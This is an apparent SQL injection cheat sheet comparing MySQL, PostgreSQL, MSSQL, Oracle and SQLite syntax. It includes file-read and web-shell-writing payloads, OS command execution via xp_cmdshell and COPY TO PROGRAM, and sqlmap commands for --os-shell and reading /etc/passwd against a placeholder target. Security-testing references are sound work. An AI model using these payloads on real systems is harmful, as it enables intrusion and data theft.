Quick lookup for “I know I’m on Oracle, how do I do X?”. For workflow and explanations see the per-technique pages.
SELECT @@ version -- MySQL, MSSQL
SELECT version () -- PostgreSQL, MySQL
SELECT banner FROM v$ version -- Oracle
SELECT sqlite_version() -- SQLite
Operation
MySQL
PostgreSQL
MSSQL
Oracle
SQLite
Version
@@version
version()
@@version
(SELECT banner FROM v$version)
sqlite_version()
Current user
user() / current_user()
current_user
SYSTEM_USER / USER_NAME()
USER
n/a
Current DB
database()
current_database()
DB_NAME()
n/a (uses schemas)
n/a
Hostname
@@hostname
inet_server_addr()
@@SERVERNAME
SYS_CONTEXT('USERENV','HOST')
n/a
String concat
CONCAT(a,b)
a || b
a + b
a || b
a || b
Substring
SUBSTRING(s,p,l)
SUBSTR(s,p,l)
SUBSTRING(s,p,l)
SUBSTR(s,p,l)
SUBSTR(s,p,l)
String length
LENGTH(s)
LENGTH(s)
LEN(s)
LENGTH(s)
LENGTH(s)
Char from code
CHAR(N)
CHR(N)
CHAR(N)
CHR(N)
CHAR(N)
ASCII of char
ASCII(c)
ASCII(c)
ASCII(c)
ASCII(c)
UNICODE(c)
String → hex
HEX(s)
encode(s,'hex')
master.dbo.fn_varbintohexstr(s)
RAWTOHEX(s)
hex(s)
Hex → string
UNHEX(h)
decode(h,'hex')
n/a
UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW(h))
n/a
Conditional
IF(c,t,f)
CASE WHEN c THEN t ELSE f END
IIF(c,t,f) or CASE
CASE WHEN c THEN t ELSE f END
CASE WHEN c THEN t ELSE f END
Sleep
SLEEP(n)
pg_sleep(n)
WAITFOR DELAY '0:0:n'
dbms_pipe.receive_message(('a'),n)
(no native)
DBMS
Line
Block
MySQL
-- (with space) or #
/* ... */, /*! ... */ versioned
PostgreSQL
--
/* ... */
MSSQL
--
/* ... */
Oracle
--
/* ... */
SQLite
--
/* ... */
URL-safe form: -- - (trailing dash so the comment doesn’t break on space stripping).
DBMS
Get rows N to M
MySQL / PostgreSQL / SQLite
LIMIT M OFFSET N
MSSQL (2012+)
OFFSET N ROWS FETCH NEXT M ROWS ONLY
MSSQL (older)
SELECT TOP M * FROM t WHERE id NOT IN (SELECT TOP N id FROM t)
Oracle
WHERE ROWNUM <= M AND ROWNUM > N (or row_number() window)
Operation
MySQL
PostgreSQL
MSSQL
Oracle
List databases
SELECT schema_name FROM information_schema.schemata
SELECT datname FROM pg_database
SELECT name FROM sys.databases
n/a (use schemas)
List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM all_tables
List columns
SELECT column_name FROM information_schema.columns WHERE table_name='<T>'
same as MySQL
same as MySQL
SELECT column_name FROM all_tab_columns WHERE table_name='<T>'
See Enumeration for the full workflow.
DBMS
Stacked queries via SQLi
MySQL
Usually not (most drivers disable it) - exception: mysqli_multi_query
PostgreSQL
Yes
MSSQL
Yes
Oracle
No (single statement)
SQLite
Depends on driver
Caution
When stacked queries don’t work, you cannot run INSERT, UPDATE, DELETE, or DDL via injection - only SELECT-equivalent primitives.
DBMS
Read
Write
Write requires
MySQL
LOAD_FILE('/path')
SELECT ... INTO OUTFILE '/path'
FILE privilege + secure_file_priv permits path
PostgreSQL
pg_read_file('/path', 0, N)
COPY (SELECT '...') TO '/path'
superuser
MSSQL
OPENROWSET(BULK '/path', SINGLE_CLOB)
via xp_cmdshell
sysadmin
Oracle
UTL_FILE.GET_LINE(...)
UTL_FILE.PUT_LINE(...)
DBA + directory object
SQLite
n/a
ATTACH DATABASE 'path/x.php' AS x; CREATE TABLE x.t (c TEXT); INSERT INTO x.t VALUES ('<?php ... ?>')
filesystem write to web root
See File operations for full workflow including web shell drops.
DBMS
Path
Privilege required
MySQL
UDF abuse via lib_mysqludf_sys (rare modern systems)
FILE privilege + writable plugin dir
PostgreSQL
COPY ... TO PROGRAM 'cmd'
superuser
PostgreSQL
CREATE EXTENSION + dynamic library
superuser
MSSQL
EXEC xp_cmdshell 'cmd'
sysadmin (must enable first)
MSSQL
sp_OACreate + WSH
sysadmin
Oracle
Java stored procedures
DBA
Oracle
DBMS_SCHEDULER to run OS commands
DBA + appropriate roles
SQLite
n/a (no built-in command execution)
-
sqlmap -u " https://<TARGET>/p?id=1 " --batch --dump
# Specific DBMS, specific technique, specific table
sqlmap -u " https://<TARGET>/p?id=1 " --dbms=mysql --technique=BEUSTQ --dump -T users
# From saved Burp request
sqlmap -r request.txt --batch --dbs
sqlmap -u " https://<TARGET>/p?id=1 " --cookie= " session=xyz " --dump
sqlmap -u " https://<TARGET>/api/x " --data= ' {"id":"1*"} ' --headers= " Content-Type: application/json "
# Mark injection point manually
sqlmap -u " https://<TARGET>/p?id=1*&other=2 " # asterisk = injection point
# OS shell when DB user is privileged
sqlmap -u " https://<TARGET>/p?id=1 " --os-shell
sqlmap -u " https://<TARGET>/p?id=1 " --file-read=/etc/passwd
sqlmap -u " https://<TARGET>/p?id=1 " --file-write=local.php --file-dest=/var/www/html/x.php
sqlmap -u " https://<TARGET>/p?id=1 " --tamper=between,randomcase,space2comment
# Verbose, show all requests
sqlmap -u " https://<TARGET>/p?id=1 " -v 3
--technique letters:
B - boolean blind
E - error-based
U - UNION-based
S - stacked queries
T - time-based blind
Q - inline query
DBMS
Default port
MySQL / MariaDB
3306
PostgreSQL
5432
MSSQL
1433
Oracle
1521
MongoDB
27017
Redis
6379
Cassandra
9042
Useful when you have direct DB access (not via injection) - different reference, but worth keeping nearby.
This page is a quick lookup, not a tutorial. The technique pages explain why ; this page is what to type .